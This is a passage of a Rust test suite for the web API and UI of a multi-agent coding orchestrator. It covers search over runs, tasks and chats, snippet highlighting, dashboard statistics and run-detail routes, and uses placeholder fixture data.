12160 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
12161 std::fs::write(&path, v.to_string()).unwrap();
12162 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
12163 std::fs::write(
12164 runs.join("20260902-140503-cccc").join("run.json"),
12165 "{ not json",
12166 )
12167 .unwrap();
12168
12169 let res = f.get("/api/search?scope=runs&q=quokka").await;
12170 assert_eq!(res.status, 200, "{}", res.body);
12171 let v = res.json();
12172 assert_eq!(v["total"], 1, "{v}");
12173 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
12174 assert_eq!(v["hits"][0]["field"], "text");
12175 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
12176 let parts = v["hits"][0]["snippet"].as_array().unwrap();
12177 assert!(
12178 parts
12179 .iter()
12180 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
12181 "{v}"
12182 );
12183 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
12184 assert_eq!(
12185 flat, "The Quokka leaks across threads",
12186 "whitespace is collapsed"
12187 );
12188
12189 let both = f
12191 .get("/api/search?scope=runs&q=MOBILE%20quokka")
12192 .await
12193 .json();
12194 assert_eq!(both["total"], 1, "{both}");
12195 let neither = f
12196 .get("/api/search?scope=runs&q=quokka%20zebra")
12197 .await
12198 .json();
12199 assert_eq!(neither["total"], 0, "{neither}");
12200 let stmt = f
12202 .get("/api/search?scope=runs&q=mobile%20first")
12203 .await
12204 .json();
12205 assert_eq!(stmt["total"], 2, "{stmt}");
12206 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
12207 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
12208 }
12209
12210 #[test]
12211 fn snippet_ignores_terms_longer_than_the_field() {
12212 let terms = ["ok".to_owned(), "elephant".to_owned()];
12213 let parts = snippet_of("ok", &terms);
12214 assert_eq!(
12215 parts,
12216 vec![SnippetPart {
12217 text: "ok".to_owned(),
12218 hit: true
12219 }]
12220 );
12221 }
12222
12223 #[test]
12224 fn snippet_marks_matches_longer_than_the_window() {
12225 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
12226 let hit_len = |parts: &[SnippetPart]| -> usize {
12227 parts
12228 .iter()
12229 .filter(|p| p.hit)
12230 .map(|p| p.text.chars().count())
12231 .sum()
12232 };
12233 let total =
12234 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
12235
12236 let long = "a".repeat(120);
12237 let parts = snippet_of(&long, std::slice::from_ref(&long));
12238 assert!(hit_len(&parts) > 0, "{parts:?}");
12239 assert!(total(&parts) <= cap);
12240
12241 let ja = "あ".repeat(130);
12242 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
12243 assert!(hit_len(&parts) > 0, "{parts:?}");
12244 assert!(total(&parts) <= cap);
12245
12246 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
12248 let term = format!("ab{}", "c".repeat(100));
12249 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
12250 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
12251 assert!(total(&parts) <= cap);
12252
12253 let text = format!("{}z", "a".repeat(119));
12255 let parts = snippet_of(&text, &["a".repeat(120)]);
12256 assert_eq!(hit_len(&parts), 0, "{parts:?}");
12257 }
12258
12259 #[tokio::test]
12260 async fn search_caps_hits_and_snippet_length() {
12261 let f = Fixture::start().await;
12262 let runs = f.runs();
12263 for n in 0..(SEARCH_MAX_HITS + 5) {
12264 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
12265 }
12266 let v = f.get("/api/search?scope=runs&q=web").await.json();
12267 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
12268 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
12269 assert_eq!(v["truncated"], true);
12270 assert!(
12272 v["hits"]
12273 .as_array()
12274 .unwrap()
12275 .iter()
12276 .all(|h| h["run"]["status"] == "merged")
12277 );
12278
12279 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
12280 let parts = snippet_of(&long, &["needle".to_owned()]);
12281 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
12282 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
12283 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
12284 }
12285
12286 #[tokio::test]
12287 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
12288 let f = Fixture::start().await;
12289 let queue = f.queue();
12290 let mut t = Task::new(
12291 "short title".to_owned(),
12292 "line one\nthe hidden Armadillo detail".to_owned(),
12293 PathBuf::from("/repo/magi"),
12294 Source::Agent {
12295 run: "r1".to_owned(),
12296 node: "chat".to_owned(),
12297 },
12298 );
12299 t.last_error = Some("disk full on /tmp".to_owned());
12300 queue.put(&mut t).expect("file the task");
12301
12302 for (q, want) in [
12303 ("armadillo", 1),
12304 ("disk%20FULL", 1),
12305 ("chat", 1),
12306 ("queued", 1),
12307 ("short%20nothing", 0),
12308 ] {
12309 let v = f
12310 .get(&format!("/api/search?scope=tasks&q={q}"))
12311 .await
12312 .json();
12313 assert_eq!(v["total"], want, "{q}: {v}");
12314 }
12315 for bad in [
12316 "/api/search?scope=tasks&q=",
12317 "/api/search?scope=tasks&q=%20",
12318 "/api/search?scope=chats&q=",
12319 "/api/search?scope=chats&q=%20",
12320 "/api/search?scope=nope&q=a",
12321 "/api/search?q=a",
12322 ] {
12323 assert_eq!(f.get(bad).await.status, 400, "{bad}");
12324 }
12325 }
12326
12327 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
12329 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
12330 .expect("seat value");
12331 let turns: Vec<serde_json::Value> = turns
12332 .iter()
12333 .map(|(who, body)| {
12334 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
12335 })
12336 .collect();
12337 let doc = serde_json::json!({
12338 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
12339 "status": status, "turns": turns,
12340 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
12341 "seat": seat,
12342 });
12343 let dir = f.home.path().join("talks");
12344 std::fs::create_dir_all(&dir).expect("talks dir");
12345 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
12346 }
12347
12348 #[tokio::test]
12349 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
12350 let f = Fixture::start().await;
12351 write_talk(
12352 &f,
12353 "20260901-000001-aaaa",
12354 "open",
12355 &[
12356 (
12357 "operator",
12358 "\n Why does the Pangolin cache expire?\nsecond line",
12359 ),
12360 ("agent", "Because the TTL is thirty seconds."),
12361 ],
12362 );
12363 write_talk(
12364 &f,
12365 "20260901-000002-bbbb",
12366 "closed",
12367 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
12368 );
12369 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
12370
12371 let search = |q: &'static str| {
12372 let f = &f;
12373 async move {
12374 f.get(&format!("/api/search?scope=chats&q={q}"))
12375 .await
12376 .json()
12377 }
12378 };
12379
12380 let v = search("PANGOLIN").await;
12381 assert_eq!(v["scope"], "chats");
12382 assert_eq!(v["total"], 1, "{v}");
12383 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
12384 assert_eq!(v["hits"][0]["field"], "title");
12385 assert_eq!(v["unreadable"], 1, "{v}");
12386 let marked: Vec<&str> = v["hits"][0]["snippet"]
12387 .as_array()
12388 .unwrap()
12389 .iter()
12390 .filter(|p| p["hit"] == true)
12391 .map(|p| p["text"].as_str().unwrap())
12392 .collect();
12393 assert_eq!(marked, ["Pangolin"]);
12394
12395 let v = search("zebra").await;
12397 assert_eq!(v["total"], 1, "{v}");
12398 assert_eq!(v["hits"][0]["field"], "agent");
12399 assert_eq!(search("pangolin%20thirty").await["total"], 1);
12401 assert_eq!(search("pangolin%20zebra").await["total"], 0);
12402 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
12404 assert_eq!(search(q).await["total"], 0, "{q}");
12405 }
12406 assert_eq!(search("second").await["hits"][0]["field"], "operator");
12408 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
12410
12411 let v = f.get("/api/search?scope=nope&q=a").await;
12412 assert_eq!(v.status, 400);
12413 assert!(
12414 v.body.contains("scope must be runs, tasks or chats"),
12415 "{}",
12416 v.body
12417 );
12418 }
12419
12420 #[test]
12421 fn a_question_card_links_a_task_id_to_the_task_page() {
12422 let start = APP_JS
12423 .find("function updateAskCard(")
12424 .expect("updateAskCard exists");
12425 let body = &APP_JS[start..];
12426 let body = &body[..body.find("\n}\n").expect("function end")];
12427 assert!(body.contains("question.run_is_task"));
12428 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
12429 assert!(body.contains("`#/runs/${question.run}`"));
12430 assert!(body.contains("\"task\" : \"run\""));
12431 }
12432
12433 #[test]
12434 fn plain_text_message_surfaces_go_through_linkify() {
12435 assert!(APP_JS.contains("function linkify("));
12436 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
12437 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
12438 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
12439 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
12440 assert!(!APP_JS.contains("innerHTML = text"));
12441 }
12442
12443 #[test]
12444 fn stats_bars_share_one_id_keyed_plan() {
12445 let start = APP_JS
12446 .find("function statsBarRows(")
12447 .expect("statsBarRows exists");
12448 let body = &APP_JS[start..];
12449 let body = &body[..body.find("\n}\n").expect("function end")];
12450 assert!(body.contains("statsBarPlan(rows)"));
12451 assert!(body.contains("statsAgentTone(row.agent)"));
12452 assert!(!body.contains("candTone(i)"));
12453 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
12454 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
12455 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
12456 }
12457 }
12458
12459 #[test]
12460 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
12461 let start = APP_JS
12462 .find("function renderStatsReviewerScatter(")
12463 .expect("renderStatsReviewerScatter exists");
12464 let body = &APP_JS[start..];
12465 let body = &body[..body.find("\n}\n").expect("function end")];
12466 assert!(body.contains("statsScatterPlan(reviewers)"));
12467 assert!(body.contains("statsAgentTone(d.agent)"));
12468 assert!(APP_JS.contains("function statsScatterPlan("));
12469 assert!(
12470 APP_JS.contains("d.submitted < STATS_LOW_N")
12471 || APP_JS.contains("r.submitted < STATS_LOW_N")
12472 );
12473 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
12474 assert!(APP_CSS.contains(".precision-scatter"));
12475 }
12476
12477 #[test]
12478 fn advisor_reflection_is_drawn_as_stacked_segments() {
12479 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
12480 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
12481 let html = include_str!("../assets/ui/index.html");
12482 assert!(html.contains("Approximate"));
12483 for label in ["reflected strongly", "faint", "no proposal"] {
12484 assert!(html.contains(label));
12485 }
12486 let css = include_str!("../assets/ui/app.css");
12487 for c in ["refl-strong", "refl-faint", "refl-absent"] {
12488 assert!(css.contains(&format!(".{c} {{")));
12489 }
12490 }
12491
12492 #[test]
12493 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
12494 assert!(APP_JS.contains("function statsDailyPlan("));
12495 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
12496 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
12497 }
12498
12499 #[test]
12500 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
12501 let start = APP_JS
12502 .find("function scheduleSearch(")
12503 .expect("scheduleSearch exists");
12504 let body = &APP_JS[start..];
12505 let body = &body[..body.find("\n}\n").expect("function end")];
12506 assert!(body.contains("s.seq += 1"));
12507 }
12508
12509 #[tokio::test]
12514 async fn stats_runs_unreadable_matches_health() {
12515 let f = Fixture::start().await;
12516 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12517 let broken = f.runs().join("20260902-140502-bad");
12518 std::fs::create_dir_all(&broken).expect("run dir");
12519 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12520
12521 let stats = f.get("/api/stats").await;
12522 let health = f.get("/api/health").await;
12523
12524 assert_eq!(stats.status, 200);
12525 assert_eq!(stats.json()["totals"]["runs"], 1);
12526 assert_eq!(stats.json()["runs_unreadable"], 1);
12527 assert_eq!(
12528 stats.json()["runs_unreadable"],
12529 health.json()["runs_unreadable"],
12530 "the dashboard and /api/health must never disagree about how many \
12531 runs could not be read"
12532 );
12533 }
12534
12535 #[tokio::test]
12536 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
12537 let f = Fixture::start().await;
12538 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12539 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
12540 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
12541
12542 let totals = &f.get("/api/stats").await.json()["totals"];
12543 assert_eq!(totals["runs"], 3);
12544 assert_eq!(totals["merged"], 1);
12545 assert_eq!(totals["stalled"], 1);
12546 assert_eq!(totals["in_progress"], 1);
12547 assert_eq!(totals["blocked"], 0);
12550 assert_eq!(totals["ready"], 0);
12551 }
12552
12553 #[tokio::test]
12554 async fn stats_advisors_report_proposals_and_reflection() {
12555 use crate::advise::{Advice, AdvisorRecord, Reflection};
12556 use crate::verdict::Proposal;
12557
12558 let f = Fixture::start().await;
12559 let mut state = RunState::new(
12560 PathBuf::from("/repo/magi"),
12561 "main".to_owned(),
12562 "0123456789abcdef".to_owned(),
12563 "task".to_owned(),
12564 Config::default(),
12565 );
12566 state.id = "20260902-140501-a".to_owned();
12567 state.status = RunStatus::Merged;
12568 state.advice = Some(Advice {
12569 records: vec![
12570 AdvisorRecord {
12571 seat: "advisor-1".to_owned(),
12572 agent: "alpha".to_owned(),
12573 proposal: Some(Proposal {
12574 approach: "do it".to_owned(),
12575 key_tradeoff: "speed over memory".to_owned(),
12576 risks: Vec::new(),
12577 touches: Vec::new(),
12578 why_not_naive: "breaks under load".to_owned(),
12579 }),
12580 error: None,
12581 duration_ms: 0,
12582 reflection: Reflection::Strong,
12583 },
12584 AdvisorRecord {
12585 seat: "advisor-2".to_owned(),
12586 agent: "alpha".to_owned(),
12587 proposal: None,
12588 error: Some("timed out".to_owned()),
12589 duration_ms: 0,
12590 reflection: Reflection::Absent,
12591 },
12592 ],
12593 synthesis: Some("blended brief".to_owned()),
12594 });
12595 let dir = f.runs().join(&state.id);
12596 std::fs::create_dir_all(&dir).expect("run dir");
12597 std::fs::write(
12598 dir.join("run.json"),
12599 serde_json::to_string_pretty(&state).expect("serialize run"),
12600 )
12601 .expect("write run.json");
12602
12603 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
12605 let alpha = advisors
12606 .as_array()
12607 .expect("an array")
12608 .iter()
12609 .find(|a| a["agent"] == "alpha")
12610 .expect("alpha row");
12611 assert_eq!(alpha["seated"], 2);
12612 assert_eq!(alpha["proposed"], 1);
12613 assert_eq!(alpha["absent"], 1);
12614 assert_eq!(alpha["strong"], 1);
12615 assert_eq!(alpha["faint"], 0);
12616 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
12617 }
12618
12619 #[tokio::test]
12620 async fn stats_hides_agents_outside_the_roster_unless_all() {
12621 use crate::run::Candidate;
12622 let repo = TempDir::new().expect("repo dir");
12623 std::fs::write(
12624 repo.path().join("magi.toml"),
12625 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
12626 )
12627 .expect("magi.toml");
12628 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
12629 let mut state = RunState::new(
12630 PathBuf::from("/repo/magi"),
12631 "main".to_owned(),
12632 "0123456789abcdef".to_owned(),
12633 "task".to_owned(),
12634 Config::default(),
12635 );
12636 state.id = "20260902-140501-a".to_owned();
12637 state.status = RunStatus::Merged;
12638 for (label, agent) in [('A', "keep"), ('B', "retired")] {
12639 let mut c: Candidate = serde_json::from_value(serde_json::json!({
12640 "index": 0, "label": label.to_string(), "agent": agent,
12641 "branch": "b", "worktree": "/w",
12642 }))
12643 .expect("candidate");
12644 c.label = label;
12645 state.candidates.push(c);
12646 }
12647 let dir = f.runs().join(&state.id);
12648 std::fs::create_dir_all(&dir).expect("run dir");
12649 std::fs::write(
12650 dir.join("run.json"),
12651 serde_json::to_string_pretty(&state).expect("serialize run"),
12652 )
12653 .expect("write run.json");
12654
12655 let agents_of = |v: &serde_json::Value| -> Vec<String> {
12656 v["agents"]
12657 .as_array()
12658 .expect("array")
12659 .iter()
12660 .map(|a| a["agent"].as_str().unwrap().to_owned())
12661 .collect()
12662 };
12663 let hidden = f.get("/api/stats").await.json();
12664 assert_eq!(agents_of(&hidden), ["keep"]);
12665 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
12666 assert_eq!(hidden["totals"]["runs"], 1);
12667
12668 let all = f.get("/api/stats?all=true").await.json();
12669 assert_eq!(agents_of(&all).len(), 2);
12670 assert_eq!(all["retired_hidden"], serde_json::json!([]));
12671 }
12672
12673 #[tokio::test]
12674 async fn stats_release_bumps_split_clean_from_attention() {
12675 use crate::run::ReleaseBump;
12676
12677 let f = Fixture::start().await;
12678
12679 let mut clean = RunState::new(
12680 PathBuf::from("/repo/magi"),
12681 "main".to_owned(),
12682 "0123456789abcdef".to_owned(),
12683 "task".to_owned(),
12684 Config::default(),
12685 );
12686 clean.id = "20260902-140501-a".to_owned();
12687 clean.status = RunStatus::Merged;
12688 clean.release_bump = Some(ReleaseBump {
12689 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
12690 version: Some("1.0.0".to_owned()),
12691 automerge_enabled: true,
12692 merged_directly: false,
12693 local: false,
12694 release: None,
12695 problem: None,
12696 action_required: None,
12697 });
12698
12699 let mut blocked = RunState::new(
12700 PathBuf::from("/repo/magi"),
12701 "main".to_owned(),
12702 "0123456789abcdef".to_owned(),
12703 "task".to_owned(),
12704 Config::default(),
12705 );
12706 blocked.id = "20260902-140502-b".to_owned();
12707 blocked.status = RunStatus::Merged;
12708 blocked.release_bump = Some(ReleaseBump {
12709 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
12710 version: Some("1.0.1".to_owned()),
12711 automerge_enabled: false,
12712 merged_directly: false,
12713 local: false,
12714 release: None,
12715 problem: Some("checks red".to_owned()),
12716 action_required: Some("look at the PR".to_owned()),
12717 });
12718
12719 for state in [&clean, &blocked] {
12720 let dir = f.runs().join(&state.id);
12721 std::fs::create_dir_all(&dir).expect("run dir");
12722 std::fs::write(
12723 dir.join("run.json"),
12724 serde_json::to_string_pretty(state).expect("serialize run"),
12725 )
12726 .expect("write run.json");
12727 }
12728
12729 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12730 assert_eq!(bumps["merged"], 2);
12731 assert_eq!(bumps["recorded"], 2);
12732 assert_eq!(bumps["pr_opened"], 2);
12733 assert_eq!(bumps["automerge_enabled"], 1);
12734 assert_eq!(bumps["needs_attention"], 1);
12735 assert_eq!(bumps["clean"], 1);
12736 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
12737 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
12738 }
12739
12740 #[tokio::test]
12741 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
12742 let f = Fixture::start().await;
12743 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12744
12745 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12746 assert_eq!(bumps["merged"], 1);
12747 assert_eq!(bumps["recorded"], 0);
12748 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
12751 assert_eq!(bumps["automerge_rate"], Value::Null);
12754 assert_eq!(bumps["attention_rate"], Value::Null);
12755 }
12756
12757 #[tokio::test]
12758 async fn stats_queue_counts_come_from_the_live_queue() {
12759 let f = Fixture::start().await;
12760 let q = f.queue();
12761 let mut queued = Task::new(
12762 "queued task".to_owned(),
12763 "do it".to_owned(),
12764 PathBuf::from("/repo"),
12765 Source::Human,
12766 );
12767 q.put(&mut queued).expect("put queued");
12768 let mut held = Task::new(
12769 "held task".to_owned(),
12770 "do it later".to_owned(),
12771 PathBuf::from("/repo"),
12772 Source::Human,
12773 );
12774 held.hold_machine(Some("out of attempts".to_owned()));
12775 q.put(&mut held).expect("put held");
12776
12777 let queue = f.get("/api/stats").await.json()["queue"].clone();
12778 assert_eq!(queue["queued"], 1);
12779 assert_eq!(queue["held"], 1);
12780 assert_eq!(queue["running"], 0);
12781 assert_eq!(queue["done"], 0);
12782 assert_eq!(queue["failed"], 0);
12783 assert_eq!(queue["blocked"], 0);
12784 }
12785
12786 #[tokio::test]
12787 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
12788 let f = Fixture::start().await;
12789 let stats = f.get("/api/stats").await;
12790 assert_eq!(stats.status, 200);
12791 assert_eq!(stats.json()["totals"]["runs"], 0);
12792 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
12793 assert_eq!(stats.json()["runs_unreadable"], 0);
12794 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
12795 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
12796 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
12797 assert_eq!(stats.json()["repo"], Value::Null);
12798 }
12799
12800 #[tokio::test]
12801 async fn stats_lists_every_repository_with_runs_recorded() {
12802 let f = Fixture::start().await;
12803 write_run_repo(
12804 &f.runs(),
12805 "20260902-140501-a",
12806 RunStatus::Merged,
12807 "/repos/a",
12808 );
12809 write_run_repo(
12810 &f.runs(),
12811 "20260902-140502-b",
12812 RunStatus::Merged,
12813 "/repos/a",
12814 );
12815 write_run_repo(
12816 &f.runs(),
12817 "20260902-140503-c",
12818 RunStatus::Blocked,
12819 "/repos/b",
12820 );
12821
12822 let stats = f.get("/api/stats").await;
12823 assert_eq!(stats.status, 200);
12824 assert_eq!(stats.json()["totals"]["runs"], 3);
12826 assert_eq!(stats.json()["repo"], Value::Null);
12827
12828 let repos = stats.json()["repos"].clone();
12829 let repos = repos.as_array().unwrap();
12830 assert_eq!(repos.len(), 2);
12831 assert_eq!(repos[0]["repo"], "/repos/a");
12833 assert_eq!(repos[0]["name"], "a");
12834 assert_eq!(repos[0]["runs"], 2);
12835 assert_eq!(repos[1]["repo"], "/repos/b");
12836 assert_eq!(repos[1]["runs"], 1);
12837 }
12838
12839 #[tokio::test]
12840 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12841 let f = Fixture::start().await;
12842 write_run_repo(
12843 &f.runs(),
12844 "20260902-140501-a",
12845 RunStatus::Merged,
12846 "/repos/a",
12847 );
12848 write_run_repo(
12849 &f.runs(),
12850 "20260902-140502-b",
12851 RunStatus::Blocked,
12852 "/repos/b",
12853 );
12854
12855 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12856 assert_eq!(stats.status, 200);
12857 assert_eq!(stats.json()["totals"]["runs"], 1);
12858 assert_eq!(stats.json()["totals"]["merged"], 1);
12859 assert_eq!(stats.json()["repo"], "/repos/a");
12860 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12863 assert_eq!(stats.json()["runs_unreadable"], 0);
12866 }
12867
12868 #[tokio::test]
12869 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12870 let f = Fixture::start().await;
12871 write_run_repo(
12872 &f.runs(),
12873 "20260902-140501-a",
12874 RunStatus::Merged,
12875 "/repos/a",
12876 );
12877 write_run_repo(
12878 &f.runs(),
12879 "20260902-140502-b",
12880 RunStatus::Merged,
12881 "/repos/b",
12882 );
12883
12884 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12885 let json = f.get(uri).await.json();
12886 let daily = json["daily"].as_array().expect("daily is an array");
12887 assert_eq!(daily.len(), 30);
12888 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12889 let mut sorted = dates.clone();
12890 sorted.sort();
12891 assert_eq!(dates, sorted);
12892 for d in daily {
12893 assert_eq!(
12894 d["merged"].as_u64().unwrap()
12895 + d["ready"].as_u64().unwrap()
12896 + d["other"].as_u64().unwrap(),
12897 d["runs"].as_u64().unwrap()
12898 );
12899 }
12900 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12901 }
12902 }
12903
12904 #[tokio::test]
12905 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12906 let f = Fixture::start().await;
12907 write_run_repo(
12908 &f.runs(),
12909 "20260902-140501-a",
12910 RunStatus::Merged,
12911 "/repos/a",
12912 );
12913
12914 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12915 assert_eq!(stats.status, 404);
12916 }
12917
12918 #[tokio::test]
12919 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12920 let f = Fixture::start().await;
12921 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12922
12923 let summary = f.get("/api/runs").await.json();
12924 let row = &summary[0];
12925 assert_eq!(row["short"], "a1b2");
12926 assert_eq!(row["status"], "ready");
12927 assert_eq!(row["done"], true);
12928 assert_eq!(row["title"], "Add a web UI");
12929 assert_eq!(row["repo_name"], "magi");
12930 assert_eq!(row["judges"], 3);
12931 assert_eq!(row["winner"], Value::Null);
12932 assert_eq!(row["reviews"], 0);
12933
12934 let detail = f.get("/api/runs/a1b2").await;
12937 assert_eq!(detail.status, 200);
12938 assert_eq!(detail.json()["base_branch"], "main");
12939 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12940 }
12941
12942 #[tokio::test]
12950 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12951 let f = Fixture::start().await;
12952
12953 let mut none_run = RunState::new(
12954 PathBuf::from("/repo/magi"),
12955 "main".to_owned(),
12956 "0123456789abcdef".to_owned(),
12957 "Add a web UI".to_owned(),
12958 Config::default(),
12959 );
12960 none_run.id = "20260902-140503-none".to_owned();
12961 none_run.status = RunStatus::Ready;
12962 none_run.merge = Some(crate::run::MergeOutcome {
12963 mode: crate::config::MergeMode::None,
12964 ok: true,
12965 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12966 empty: false,
12967 });
12968 write_state(&f.runs(), &none_run);
12969
12970 let mut pr_run = RunState::new(
12971 PathBuf::from("/repo/magi"),
12972 "main".to_owned(),
12973 "0123456789abcdef".to_owned(),
12974 "Add a web UI".to_owned(),
12975 Config::default(),
12976 );
12977 pr_run.id = "20260902-140504-prcl".to_owned();
12978 pr_run.status = RunStatus::Ready;
12979 pr_run.merge = Some(crate::run::MergeOutcome {
12980 mode: crate::config::MergeMode::Pr,
12981 ok: false,
12982 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12983 empty: false,
12984 });
12985 write_state(&f.runs(), &pr_run);
12986
12987 let summary = f.get("/api/runs").await.json();
12988 let rows: std::collections::HashMap<&str, &Value> = summary
12989 .as_array()
12990 .expect("an array")
12991 .iter()
12992 .map(|r| (r["id"].as_str().expect("an id"), r))
12993 .collect();
12994 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12995 assert_eq!(
12996 rows[none_run.id.as_str()]["unmerged_by_design"],
12997 true,
12998 "a mode-none Ready must be flagged in the list"
12999 );
13000 assert_eq!(
13001 rows[pr_run.id.as_str()]["unmerged_by_design"],
13002 false,
13003 "a Ready reached by a closed pull request is a different case"
13004 );
13005
13006 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
13007 assert_eq!(none_detail["status"], "ready");
13008 assert_eq!(none_detail["unmerged_by_design"], true);
13009
13010 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
13011 assert_eq!(pr_detail["unmerged_by_design"], false);
13012 }
13013
13014 #[tokio::test]
13019 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
13020 let f = Fixture::start().await;
13021 let id = "20260902-140502-bbbb";
13025 let mut state = RunState::new(
13026 PathBuf::from("/repo/magi"),
13027 "main".to_owned(),
13028 "0123456789abcdef".to_owned(),
13029 "Add a web UI".to_owned(),
13030 Config::default(),
13031 );
13032 state.id = id.to_owned();
13033 state.status = RunStatus::Judging;
13034 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
13035 let dir = f.runs().join(id);
13036 std::fs::create_dir_all(&dir).expect("run dir");
13037 std::fs::write(
13038 dir.join("run.json"),
13039 serde_json::to_string_pretty(&state).expect("serialize run"),
13040 )
13041 .expect("write run.json");
13042
13043 let cold = f.get(&format!("/api/runs/{id}")).await.json();
13049 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
13050 assert_eq!(cold["live"], "unknown", "{cold}");
13051
13052 write_daemon(f.home.path(), Timestamp::now());
13055 let warm = f.get(&format!("/api/runs/{id}")).await.json();
13056 assert_eq!(warm["live"], "live", "{warm}");
13057 }
13058
13059 #[tokio::test]
13062 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
13063 let f = Fixture::start().await;
13064 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
13065 let mut state = RunState::new(
13066 PathBuf::from("/repo/magi"),
13067 "main".to_owned(),
13068 "0123456789abcdef".to_owned(),
13069 "Add a web UI".to_owned(),
13070 Config::default(),
13071 );
13072 state.id = id.to_owned();
13073 state.origin = origin;
13074 let mut value = serde_json::to_value(&state).expect("serialize run");
